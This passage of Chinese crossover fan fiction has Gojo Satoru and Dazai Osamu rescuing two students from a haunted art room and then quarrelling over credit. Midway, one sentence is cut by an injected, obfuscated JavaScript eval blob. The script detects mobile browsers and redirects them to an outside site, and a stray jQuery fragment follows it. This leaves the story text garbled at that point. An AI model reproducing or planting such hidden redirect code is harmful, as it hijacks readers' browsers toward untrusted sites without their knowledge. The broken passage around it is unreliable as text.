旧校舍的监控系统年久失修,大部分摄像头画面模糊,平时基本属于摆设。
但今天,恰好有一个对准走廊的摄像头,在间歇性抽搐后,短暂恢复了清晰——正好拍到了春野樱和泉镜花进入美术教室的背影,以及几分钟后,画室门自动关闭,并与墙壁融为一体的惊悚一幕。
值班人员揉了揉眼睛,凑近屏幕:“嗯?这俩学生……进去了?那门怎么自己关上了?还关得这么……严实?”
他尝试调动教室内部的摄像头,不出所料,屏幕一片漆黑。他又切换到画室门口那个摄像头,只见那扇门依然纹丝不动。
“不对劲……”值班人员心里嘀咕,但鉴于旧校舍历来古怪,他也不敢贸然下定论,只好先按照规定流程,上报给安保主管。
安保主管看着那段录像,头都大了,涉及学生安全,宁可信其有。他立刻试图联系专员……然后绝望地想起,理论上,现在负责这事的是那两位爷——五条悟和太宰治。
硬着头皮,他同时拨通了两人的通讯器。
此刻的五条悟,正在品尝新推出的“宇宙星空特饮”,据说里面的糖分含量,能直接让普通人血糖爆表。通讯器响起时,他正对着杯子里的银河系漩涡拍照。
“喂?什么事?忙着呢。”五条悟的语气透着不耐烦。
“五、五条老师!旧校舍美术教室那边可能出事了……”
“美术教室?又是那破地方?”五条悟吸了一口星光璀璨的饮料,“哪个学生这么不长眼又往那儿钻?”
“是……是春野樱和泉镜花同学……”
“哦?小樱和那个不怎么说话的小姑娘啊……”
他想起这两学生资质还不错,尤其是小樱,脑子挺聪明。
“知道了。”他语气依旧随意,“我一会儿过去看看。多半又是些小打小闹的异常。”
而另一边的太宰治,则正窝在教师休息室的沙发里,用书本盖着脸,睡得正香。
通讯器的震动把他吵醒后,他慢悠悠地拿起,声音懒散:“莫西莫西……如果是推销蟹肉罐头或者介绍风水宝地的,就请稍后再拨……”
“太宰先生!是我,安保部!旧校舍画室有情况,您的两名学生,春野樱和泉镜花,可能被困在里面了!”
太宰治把书从脸上拿开:“哦?是那两位小姑娘啊……她们终于把理论知识运用到实践中了?勇气可嘉。”
“太宰先生,现在不是夸奖的时候!情况可能很危险!”
太宰治坐起身,嘴角勾起:“危险是灵感最好的催化剂嘛。不过,既然是我的学生,去看看也无妨。”
同一时间,两人都收到了安保部发来的简短录像和位置信息。
五条悟看着屏幕上那扇关得死紧的门,喝完了最后一口“宇宙星空”。
太宰治则看着信息,轻声自语:“美术教室啊……果然是那个……残留着强烈创作欲和怨念的地方……”
于是,这两位因为职责所在,被迫动身的老师,再一次,朝着同一个目的地前进。
而监控室的值班人员,看着两位大佬先后回应并赶往现场,松了口气的同时,也默默为画室里的两位学生和那扇可怜的门,捏了把汗。
美术教室内,春野樱和泉镜花背靠背站立,警惕地盯着四周色彩斑斓的颜料污渍,以及画布上,那两张越来越清晰、越来越痛苦、且酷似她们的面容。
“硬闯不行……”小樱快速低语,强迫自己冷静下来,大脑飞速运转着,“太宰老师说过……要智取,要理解它的逻辑……”
镜花简短地“嗯”了一声,目光扫视着颜料的流动轨迹,和画布上人脸形成的速度……
“它们在模仿……和吸收。”她声音冷冷地指出了关键。
小樱眼睛一亮:“没错!它们不是在单纯攻击,更像是在……创作?把我们当成素材!”
这个想法让她一阵恶寒,但也找到了突破口。
“既然是创作,就有它的规则和弱点!”
她想起太宰治课堂上提到的:“荒谬的逻辑也是逻辑,找到它,就能利用它。”
“镜花,注意看颜料流动的方向和颜色变化!”小樱喊道,“还有画布上人脸的表情细节!它们肯定有规律!”
两位少女立刻改变了策略。
小樱不再试图用蛮力开门,而是开始用一种近乎艺术评论家的语调,大声“点评”起来:
“哎呀,这抹赭红色的流向太生硬了,缺乏过渡!色彩情绪表达不及格!”
“看那边,钴蓝色和镉黄色的混合比例完全错误,脏了!基本的调色原理都不懂吗?”
“画布上这张脸,颧骨的阴影打得什么玩意?透视歪了!就这水平,还想搞创作?”
她甚至掏出随身带的笔和小本子,装模作样地开始速写和记笔记,就如在进行一场严肃的艺术批评。
镜花则在一旁沉默观察,她的暗杀者本能,让她对细节和节奏异常敏感。
她注意到,当小樱的“批评”,命中某些关键点——比如颜色混合、轮廓失真时,颜料的流动,会出现细微的停顿,画布上,人脸显示的速度也会稍缓。
它们在意!
这些恶意的造物,居然在意自己的作品被否定!
小樱也察觉到了这点,觉得荒谬又合理:“看来它们自尊心还挺强!”
于是,她批评得更起劲了,用尽了毕生所学的艺术知识,专挑毛病说。
镜花则偶尔用最简短的词语补刀:
“丑。”
“歪了。”
“像怪物。”
杀伤力极强。
这一招,果然起到了效果。
周围的恶意,似乎被这种不按常理出牌的精神攻击扰乱了节奏,颜料的蔓延速度明显减慢,画布上的脸孔,也变得更加焦躁和愤怒,好像受到了侮辱。
智取初见成效。
她们成功地把一场物理对抗,暂时扭转成了一场诡异的口水战。
然而,这种“批评”显然也激怒了对方。
画布上的两张脸,在暂停片刻后,所有颜料污渍又突然加速,如浪潮般,向她们扑来!
显然,对方的耐心耗尽了。
就在此时……
一声巨响,教室那扇被死死封住的门,连带着门框,如被炮弹击中般,猛然向内炸开!
木屑纷飞中,一个高大嚣张的身影,单手插兜,迈着六亲不认的步伐,走了进来。
“哟,看来我们来得正是时候啊。”
五条悟语气轻松,环顾四周后,说道:“这装修风格挺别致啊,抽象派灾难现场?”
紧随其后,太宰治也走了进来,他优雅地避开飞溅的木屑,像一缕幽魂。
看到室内的景象,他皱了皱鼻子:“嗯……充满灵性,可惜画技堪忧。这配色方案,看得我有点想自杀。”
画室内的异常能量,仿佛被这两股强大又截然不同的气息刺激,开始沸腾!
颜料浪潮更加汹涌,画布上的脸孔显示到极致,同时发出刺耳呼喊!
“吵死了。”五条悟掏了掏耳朵,随手一挥。
“苍。”
一股巨大斥力以他为中心爆发,将扑向小樱和镜花的颜料浪潮,硬生生挡在半米之外,不得寸进。
五条悟歪头看向太宰治:“喂,清理垃圾的时候到了。‘无效化’先生,请开始你的表演,去摸摸那个丑八怪画布。”
太宰治却站在原地没动,鸢色眼眸扫视着整个画室,语气悠闲:“五条老师,您的解决方案总是这么缺乏想象力。直接破坏多无趣?而且,核心似乎并不只在画布上哦。”
他指了指四周墙壁上那些不断渗出的颜料:“这些
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484498|185673||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
才是画笔。不解决源头,只撕掉画纸有什么用?”
五条悟不耐烦地道:“那你说怎么办?难道要我一寸寸,把这破墙皮都刮下来?”
“那倒不必,太累了,不符合我的原则。”
太宰治微微一笑,忽然看向小樱和镜花:“两位同学,刚才,你们似乎找到了和它们‘沟通’的方法?”
小樱立刻反应过来:“它们好像……很在意自己的作品被评价!”
太宰治挑眉,似乎很感兴趣:“艺术家的脆弱自尊心吗?有意思。”
他忽然对五条悟说:“喂,帮我个忙,用你的‘苍’,模拟一下……嗯,最强力度的‘嘘声’,范围覆盖整个教室。”
五条悟虽然觉得这要求莫名其妙,但还是照做了。
他调整了术式,一股能量波动扫过整个画室。
这股能量本身没有破坏力,却传达了“厌恶”、“否定”、“喝倒彩”的情绪。
效果立竿见影!
所有颜料污渍,如被泼了硫酸般剧烈颤抖,画布上的两张脸,变成了痛苦和愤怒的表情……
太宰治等待的,就是这一刻。
他立即沿着墙壁疾走,手指弹钢琴般,快速拂过那些颜料渗出的源头,那些能量最凝聚的地方……
“人间失格!”
他所过之处,沸腾的颜料即刻失去活性,变成干涸的油漆,黯淡无光,停止了流动。
画布上那两张脸,如融化的蜡像般,开始坍塌、消散,最终,画布重新变得空白。
整个教室恢复了寂静。
危机,在两人一种近乎本能的,未经沟通的配合下,被迅速化解。
五条悟用“否定”情绪干扰,太宰治“无效化”源头。简单,高效,甚至带着点荒诞的默契。
然而,寂静只持续了不到三秒。
五条悟放下手,得意地扬了扬下巴:“看到了吗?关键时刻,还是得靠我的绝对力量,进行控场和压制。没有我的‘苍’形成绝对防御和情绪干扰,你这摸来摸去的招数根本施展不开。功劳我占七成,不过分吧?”
太宰治嗤笑一声:“真会往自己脸上贴金。如果不是我找到了能量点,并进行了无效化,你那蛮力干扰,只会让它们更加狂暴而已。明明是我起到了决定性作用。功劳?你三我七还差不多,算上你刚才那蹩脚的‘嘘声’表演了。”
“哈?我的‘嘘声’是点睛之笔!”
“是画蛇添足。没有我,你就算把屋顶嘘塌了也没用。”
“没有我保护,你和这两个小丫头,早就被颜料淹没了!”
“没有我,你们现在还在和那两张丑脸大眼瞪小眼呢!”
两人立刻陷入了激烈的功劳争夺战,互相贬低,言辞激烈,完全忘记了旁边,还有两位惊魂未定的受害者。
春野樱和泉镜花看着刚才还如天神下凡,拯救了她们的两位老师,此刻像两个小孩一样,吵得不可开交,内心充满了无语。
小樱:这两位老师,真的靠谱吗?刚才那一瞬间的配合,果然是错觉吧?绝对是吧!
镜花:两个都是笨蛋。
最终,这场争吵以五条悟威胁——要再用“苍”给太宰治洗个澡,以及太宰治表示——要写报告控诉五条悟破坏公物,而暂告一段落。
春野樱和泉镜花松了一口气,离开了这里。
得救了,但过程……一言难尽。
“走了走了,晦气。”五条悟嫌弃地挥挥手,转身离开。
“确实,和缺乏美感的人待在一起太久,会影响心情。”太宰治也跟了上去。
临走前,太宰治似乎不经意地回头,瞥了一眼那面重新变成空白的画布,眼眸深处,闪过一抹难以察觉的疑虑。
那画布……是不是太白了一点?
白得像是被刻意清空,而非自然恢复。